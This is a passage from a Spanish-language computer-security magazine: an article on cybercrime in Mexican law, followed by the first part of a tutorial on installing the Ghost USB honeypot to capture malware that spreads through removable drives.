ñarse como Coordinador del Laboratorio de

Malware de ESET Latino- américa. En su rol

actual, como Jefe del Laboratorio de Investi-

gación de ESET es el encargado de coordinar

las actividades, proyectos y tareas relaciona-

das al análisis de malware y sus tendencias.

Asimismo, se ocupa de la administración de

los sistemas de estadísticas, recepción y

reporte de muestras de códigos maliciosos,

recolección de nuevas amenazas, y similares.

http://www.seguridad.unam.mx/noticia/?noti=1972
http://www.seguridad.unam.mx/descarga.dsc?arch=3473
http://revista.seguridad.unam.mx/numero-01/c�digos-maliciosos
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Jesús Ramón Jiménez Rojas

Delitos informáticos en México

El Internet es una de las herramientas tecnoló-
gicas más uti l izadas hoy en día, es la mayor
fuente de consulta de información y una de las
mayores plataformas comerciales, lo que ha
causado que gran número de actividades anti-
jurídicas se realicen a través de este medio. La
legislación actual en materia federal y las de los
estados de la República sobre delitos informá-
ticos se ha visto superada por la rápida evolución
de los medios electrónicos.
Uno de los principales problemas es la incorpo-
ración de las nuevas figuras delictivas que han
surgido a la largo de los últimos años y de la
adecuación de los distintos tipos penales ya
existentes, por lo que resulta de vital importancia
reformar los distintos ordenamientos vigentes
(federal y locales) para crear nuevos tipos
penales que logren sancionar a estas figuras por
la ley.

En los últimos cinco años, el uso dispositivos
electrónicos, como computadoras, tabletas,
teléfonos intel igentes, etcétera, se ha incremen-
tado por parte de la población debido, principal-

mente, a los costos más accesibles. La mayoría
de estos dispositivos electrónicos están conec-
tados a Internet y las personas pueden realizar
distintas actividades a través de ellos:
operaciones bancarias, publicación de informa-
ción a través de redes sociales, envío de correos
electrónicos, entre otras. Sin embargo, al estar
conectadas a Internet, las personas están ex-
puestas a un sinfín de actividades por parte de
terceros que, sin tener autorización, realizan
conductas que pueden dar como resultado la
pérdida de información, monetaria o inclusive de
credibi l idad en sus negocios.

Algunas de estas actividades ya se encuentran
tipificadas en los distintos ordenamientos pena-
les, ya sea en el ámbito federal o local. Sin
embargo, debido a que la tecnología avanza a
pasos agigantados, comienzan a aparecer
nuevas formas y figuras que no están contem-
pladas y que no pueden ser clasificadas como
delitos. La razón es que se estipulan, de manera
específica, ciertos requisitos para que dichas
figuras sean tipificadas como tales.
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Ante todo esto, la pregunta que se debe hacer
es ¿existen los delitos informáticos en México?

Los delitos informáticos en la
legislación vigente

El 1 7 de mayo de 1 999 se publicó en el Diario
Oficial de la Federación una reforma integral en
materia penal a nivel federal relacionada con
delitos informáticos, la cual incluía dentro de su
marco jurídico distintas figuras delictivas que
protegen la información contenida en los
sistemas y equipos de cómputo, sin embargo,
este ordenamiento ha quedado superado debido
al crecimiento del uso de las tecnologías de
información por casi todo tipo de individuo,
perteneciente a cualquier clase social.

Es importante que se reforme nuevamente el
ordenamiento penal federal existente para que
se incluyan las nuevas figuras delictivas (o se
adecuen las ya existentes), que afectan a las
personas que hacen uso de las tecnologías de
información y que sufren una afectación en sus
bienes jurídicos.

Algunos códigos penales locales, como el de
Sinaloa, ya han incluido artículos haciendo
referencia a delitos informáticos. El Art. 21 7 del
Código Penal de ese estado menciona lo
siguiente:

ARTICULO 21 7. COMETE DELITO INFORMATICO, LA
PERSONA QUE DOLOSAMENTE Y SIN DERECHO:

I . USE O ENTRE A UNA BASE DE DATOS, SISTEMA DE
COMPUTADORES O RED DE COMPUTADORAS O A
CUALQUIER PARTE DE LA MISMA, CON EL
PROPOSITO DE DISEÑAR, EJECUTAR O ALTERAR UN
ESQUEMAO ARTIFICIO, CON EL FIN DE DEFRAUDAR,
OBTENER DINERO, BIENES O INFORMACION; O

II . INTERCEPTE, INTERFIERA, RECIBA, USE, ALTERE,
DAÑE O DESTRUYA UN SOPORTE LOGICO O
PROGRAMA DE COMPUTADORA O LOS DATOS
CONTENIDOS EN LA MISMA, EN LA BASE, SISTEMA
O RED.

AL RESPONSABLE DE DELITO INFORMATICO SE LE
IMPONDRA UNA PENA DE SEIS MESES A DOS AÑOS
DE PRISION Y DE NOVENTA A TRESCIENTOS DIAS
MULTA.

El del ito informático

Para abordar el concepto de delito informático
primero se debe abordar el concepto de delito,
que de acuerdo con el Código Penal Federal es
el siguiente:

“Artículo 7. Delito es el acto u omisión que
sancionan las leyes penales.”

Enfocándonos al delito informático, el Dr. Jul io
Téllez Valdez, en su libro Derecho Informático,
menciona el concepto típico de delitos informá-
ticos: "son las conductas típicas, antijurídicas y
culpables en que se tiene a las computadoras
como instrumento o fin"; y en el concepto atípico
menciona que "son actitudes ilícitas en que se
tiene a las computadoras como instrumento o
fin". Desde un punto particular, se podría definir
al delito informático como “el acto u omisión que
es realizado utilizando cualquier medio electró-
nico y que es sancionado por las leyes penales”.

De las definiciones anteriores, se observa que
el “acto” u “omisión” debe estar tipificado en una
ley penal, si no lo está no podría considerarse
como delito.

Asimismo, de acuerdo con la teoría del delito,
existen los llamados elementos del delito, que
son cada una de las partes que lo integran y sin
las cuales el delito no existiría. Estos elementos
son: conducta, tipicidad, anti juricidad, culpabi-
l idad, imputabil idad, punibi l idad y condicio-
nalidad objetiva.
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Desde un punto de vista personal considero que
hasta hoy en día no se han cubierto todas las
figuras que podrían considerarse como delic-
tivas, un ejemplo de esto es el correo spam, a
raíz del cual una universidad, por ejemplo la
UNAM, invierte parte de su prepuesto monetario
en darle solución.

En un artículo posterior abordaremos las dife-
rentes figuras que podrían incorporarse al
ordenamiento jurídico penal mexicano.

Si quieres saber más consulta:

• Implicaciones jurídicas y de ciberseguridad
para la protección de bioinformación humana en
su regulación legal, almacenamiento y uso
• TIC (Internet) y ciberterrorismo
• Criminalística Aplicada en la Seguridad de

Tecnologías de Información y Comunicaciones

Jesús Ramón Jiménez Rojas

Ingeniero en Electrónica y Comunicaciones
egresado de la Universidad Veracruzana.
Pasante de la Licenciatura en Derecho por la
Facultad de Derecho de la Universidad Nacional
Autónoma de México (UNAM).

Actualmente se encuentra laborando como Jefe
de Sección Académica del área de Servidores,
Redes y Soporte Técnico en el Instituto de
Investigaciones Jurídicas de la UNAM.

Colaboró en el departamento de Seguridad en
cómputo UNAM-CERT desde marzo del 2001 y
hasta el mes de abri l del 2008 desempeñando el
cargo de Jefe de Proyecto de Seguridad en
Windows y como responsable de la página
"Usuario Casero".

Ha impartido cursos de Seguridad en Windows,
Administración y seguridad en Windows, Segu-
ridad en redes Windows y Análisis forense en
Windows.

http://revista.seguridad.unam.mx/numero-19/implicaciones-jur%C3%ADdicas-y-de-ciberseguridad-para-la-protecci�n-de-bioinformaci�n-humana-en
http://revista.seguridad.unam.mx/numero23/tic-internet-y-ciberterrorismo
http://revista.seguridad.unam.mx/numero-06/criminal%C3%ADstica-aplicada-en-la-seguridad-de-tecnolog%C3%AD-de-informaci�n-y-comunicaciones
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Ghost: Honeypot para malware que se propaga
a través de dispositivos USB - Parte I

En la actualidad existen varios métodos de
propagación e infección por software malicioso
en los diversos sistemas operativos, por lo que
es de vital importancia su detección y análisis
para desarrollar contramedidas. Uno de los
métodos más uti l izados en los sistemas
Windows, por su rapidez y por l legar incluso a
equipos de cómputo críticos que no están
conectados a alguna red, es mediante disposi-
tivos de almacenamiento USB.

La propagación inicia cuando el usuario introdu-
ce un dispositivo en la computadora infectada,
el software malicioso que se está ejecutando en
esa máquina detecta que se ha conectado una
unidad extraíble y realiza una copia de sí mismo,
cambia los atributos de todos los archivos a
ocultos y del sistema, mostrando al usuario
únicamente los accesos directos a su informa-
ción. La infección se lleva a cabo cuando ese
dispositivo de almacenamiento es conectado en
otra computadora y el usuario intenta acceder a

sus archivos a través de los accesos directos
diseñados para abrir tanto el archivo o carpeta
como el software malicioso, en ese momento el
equipo queda comprometido y listo para seguir
infectando los dispositivos de almacenamiento
que se conecten.

A continuación se describen las tres formas de
propagación más comunes registradas por
UNAM-CERT:

• Modificación del archivo Autorun.inf:
si no existe el archivo de configuración en el
dispositivo USB, el softwaremalicioso que reside
en la computadora infectada puede generar uno
nuevo con la ruta donde se replicó; dicho archivo
contiene la instrucción para ejecutar el malware
en cuanto el usuario conecte el dispositivo
extraíble a otro equipo de cómputo que tenga
habil i tada la función de "Reproducción
automática".

Jonathan Banfi Vázquez

http://revista.seguridad.unam.mx/numero-19/sistemas-scada-algunas-recomendaciones-de-seguridad-parte-ii
http://revista.seguridad.unam.mx/numero-19/sistemas-scada-algunas-recomendaciones-de-seguridad-parte-ii
http://malware.unam.mx/node/54
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malware que se propaga a través de dispositivos
USB.

Requerimientos de software

Ghost

Es un honeypot que emula uno o varios
dispositivos USB y fue diseñado para detectar,
en análisis dinámico, software malicioso que se
propaga a través de estos medios de almace-
namiento, siempreycuandoelmalwareno realice
una detección minuciosa en las características
de software y hardware del laboratorio de análisis
(y así identifique el dispositivo falso).
Fue desarrollado en un principio por Sebastian
Poeplau para una tesis de licenciatura en la
Universidad Bonn en Alemania, en la actualidad
se continúa el desarrollo dentro del Proyecto
Honeynet.

Implementación

Ghost es compatible con los sistemas operativos
Windows XP y Windows 7 de 32 bits, lo cual es
conveniente debido a que muchas sandbox
uti l izan estos sistemas operativos como clientes
para automatizar los análisis de malware. A
continuación se mostrará una forma de instalar
el honeypot en Windows 7 haciendo las res-
pectivas observaciones en los pasos adicionales
que se requieren para Windows XP:

1 ) Instalar .NET Framework 4

Se requiere esta versión de frameworko superior
en caso de uti l izar Ghost desde la interfaz
gráfica.

• Creación de varios accesos directos:
se ocultan todos los archivos y carpetas en su
ubicación predeterminada para después gene-
rar accesos directos que apuntan hacia cada
archivo o carpeta (pueden generarse únicamen-
te en la raíz del dispositivo o de manera recursiva
en las subcarpetas) y también hacia el software
malicioso que se copió a sí mismo, una vez que
el usuario da doble clic sobre cualquier acceso
directomalicioso. De esta forma, además de abrir
el archivo o carpeta, se ejecuta el malware y se
infecta la computadora.

• Creación de un sólo acceso directo:
el software malicioso crea una carpeta oculta (a
la cual mueve todo el contenido) cuyo nombre
es el valor hexadecimal "0A", que corresponde
al salto de línea ("\n"), por lo que gráficamente
pareciera que el directorio no tiene nombre. El
acceso directo contiene la sentencia para abrir
la carpeta oculta y ejecutar la supuesta réplica
del malware, es decir, es una DLL que cambia
el nombre de la función interna y parte de su
estructura cada vez que se propaga.

El objetivo de este artículo es mostrar, precisa-
mente, la captura de este tipo de malware con
el honeypot Ghost en un entorno virtual
controlado, ya que la mayoría de los honeypots
existentes se enfocan en la detección y captura
de amenazas que se propagan a través de la
red. A lo largo de dos publicaciones se describirá
todo lo necesario para instalar y configurarGhost
de manera que nos permita implementarlo en
nuestro laboratorio de análisis de malware, de
esta forma se podrán detectar las amenazas que
se propagan a través de unidades extraíbles y
recolectar los archivos de configuración y répli-
cas que se generen para su posterior análisis;
se obtendrá un mejor entendimiento del malware
y datos que permitan crear intel igencia sobre
nuevos vectores de infección y propagación.

Esta primera entrega se enfoca en conocer e
implementar Ghost en los sistemas operativos
Windows para los que fue diseñado. En la
siguiente edición se abordará la configuración
de la herramienta, la captura y el análisis del

Máquinas virtuales Honeypots

Windows 7 y XP Ghost

http://malware.unam.mx/es/content/c�digo-malicioso-en-vbscript-se-propaga-por-medio-de-dispositivos-usb
https://twitter.com/poeplau
http://www.microsoft.com/es-mx/download/details.aspx?id=17851
http://revista.seguridad.unam.mx/numero24/poc-captura-de-malware-con-el-honeypot-dionaea-ii
https://twitter.com/poeplau
https://github.com/honeynet/ghost-usb-honeypot
https://honeynet.org/
https://honeynet.org/
https://code.google.com/p/ghost-usb-honeypot/downloads/list
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• En Windows XP, antes de instalar el
framework se requiere:

a) Windows Installer 3.1

b) Windows Imaging Component

c) Colocar las siguientes dos DLL en la carpeta
principal de ghost-v0.2-winxp.zip:
• wdfcoinstaller01 009.dl l (sha1 : b0ba0de22

ade0ee5324eaa82e1 79f41 d2c67b63e)

• wudfupdate_01 009.dl l (sha1 : d9688d1 849a
86dd209732529375c6ada272ff8fd)

La configuración anterior se requiere porque
Ghost necesita Windows Drive Framework
(WDF), en Windows 7 no es necesario este paso
ya que incluye la versión 1 .9.

2) Instalar Ghost

Descargarydescomprimirel archivo "ghost-v0.3-
win7-i386.zip" [Archivo .zip], posteriormente
ejecutar "Setup.exe".

El sistema operativo preguntará si realmente se
quieren instalar los controladores no firmados de
Ghost debido a que Microsoft no puede com-
probar el softwaren del controlador, hacemos
caso omiso y continuamos con la instalación.

• Para Windows XP se usa el archivo "ghost-
v0.2-winxp.zip" [Archivo .zip]

https://www.microsoft.com/es-mx/download/details.aspx?id=25
https://www.microsoft.com/es-mx/download/details.aspx?id=32
https://msdn.microsoft.com/en-us/Library/Windows/Hardware/ff557565(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/hardware/ff544309(v=vs.85).aspx
https://ghost-usb-honeypot.googlecode.com/files/ghost-v0.3-win7-i386.zip
https://ghost-usb-honeypot.googlecode.com/files/ghost-v0.2-winxp.zip
http://www.opendll.com/index.php?file-download=wdfcoinstaller01009.dll&arch=32bit&version=1.9.7600.16385
http://es.originaldll.com/file/wudfupdate_01009.dll/7818.html
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3) Colocar los archivos imagen en la
unidad C:\

Los dispositivos USB que emulará Ghost
requieren archivos de imágenes limpias y con
formato para que se puedan almacenar tanto
archivos legítimos (si es que se requieren) como
aquellos generados por el malware. Las imáge-
nes deben colocarse en la ruta predeterminada
"C:\", ya sea que se generen de forma manual o
se uti l ice el archivo "ghost-clean-image.zip"
[Archivo .zip] perteneciente al desarrollo de
Ghost.

Una vez extraído el archivo "gdgui. img", se debe
copiar tantas veces como dispositivos se
requieran y deben renombrarse de la siguiente
manera, dependiendo cómo se van a montar en
el equipo:

• Desde la interfaz de línea de comandos:
"gd0. img" hasta "gd8. img"
• Desde la interfaz gráfica de usuario:

"gdgui. img"

4) Configurar dispositivos desde la interfaz
de línea de comandos

Abrir el "cmd.exe" con permisos de administra-
dor, montar cada uno de los dispositivos "gd[0-
8]. img” para probar su correcto funcionamiento

y finalmente desmontarlos. A continuación se
muestran los comandos para el dispositivo
"dg0. img":

• ghosttool mount 0
• ghosttool unmount 0

Nota: EnWindowsXP se abrirá automáticamente
el "Asistente para hardware nuevo encontrado",
se debe seleccionar la opción "Instalar automá-
ticamente el software (recomendado)". Este
procedimiento se realizará para todos los
dispositivos que hayamos creado.

5) Configurar el dispositivo desde la interfaz
gráfica de usuario

Abrir "GhostGUI.exe" con permisos de
administrador, montar el dispositivo "gd9. img"
para probar su correcto funcionamiento y
finalmente desmontarlo. A continuación se
muestra el modo manual:

https://ghost-usb-honeypot.googlecode.com/files/ghost-clean-image.zip
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Si quires saber más consulta:

• A Honeypot for Arbitrary Malware on USB
Storage Devices:
https://net.cs.uni-bonn.de/fi leadmin/user_
upload/gassen/USB_honeypot.pdf
• Interview with Project Leader Sebastian

Poeplau:
http://resources. infosecinstitute.com/ghost-
usb-honeypot/
• Countering the removable device threat with
USB honeypots:
https://www.youtube.com/watch?v=9G9oo3b9
qR4

Jonathan Banfi Vázquez

Ingeniero en Computación por la Facultad de
Ingeniería de la UNAM, con módulo de salida
Redes y Seguridad.

Formó parte de la tercera generación del
Programa de Certificación Cisco CCNA
Exploration, impartido en la Facultad de
Ingeniería de la UNAM. Fue miembro de la sexta
generación del Plan de Becas en Seguridad
Informática de UNAM-CERT. Sus principales
áreas de interés son: análisis de software
malicioso, ingeniería inversa, análisis de
vulnerabil idades y criptografía.

Laboró de junio 201 2 a octubre 201 5 en UNAM-
CERT en el área de Análisis de Software
Malicioso, ha colaborado como revisor técnico y
con artículos sobre honeypots en la Revista
.Seguridad Cultura de Prevención para TI y como
traductor técnico para el boletín de seguridad
OUCH!.

Nota: En Windows XP se abrirá automáticamen-
te el "Asistente parahardware nuevo encontrado"
y debemos seleccionar la opción "Instalar
automáticamente el software (recomendado)".

Finalmente, una vez que los dispositivos son
emulados correctamente en el sistema opera-
tivo, se observarán como unidades de almacena-
miento extraíble con capacidad de 1 00 MB
aproximadamente.

Hasta este momento se mostró una forma de
instalar Ghost en los sistemas operativos
Windows XP y Windows 7, que son para los que
se tiene soporte al día de hoy. Además, se habló
de la importancia en la detección oportuna por
firmas antivirus de nuevas amenazas que no se
propagan por red o que además uti l izan unida-
des de almacenamiento extraíble.

En la siguiente entrega se hablará del proceso
de detección y del análisis de las muestras
capturadas.

https://net.cs.uni-bonn.de/fileadmin/user_upload/gassen/USB_honeypot.pdf
http://resources.infosecinstitute.com/ghost-usb-honeypot/
https://www.youtube.com/watch?v=9G9oo3b9qR4
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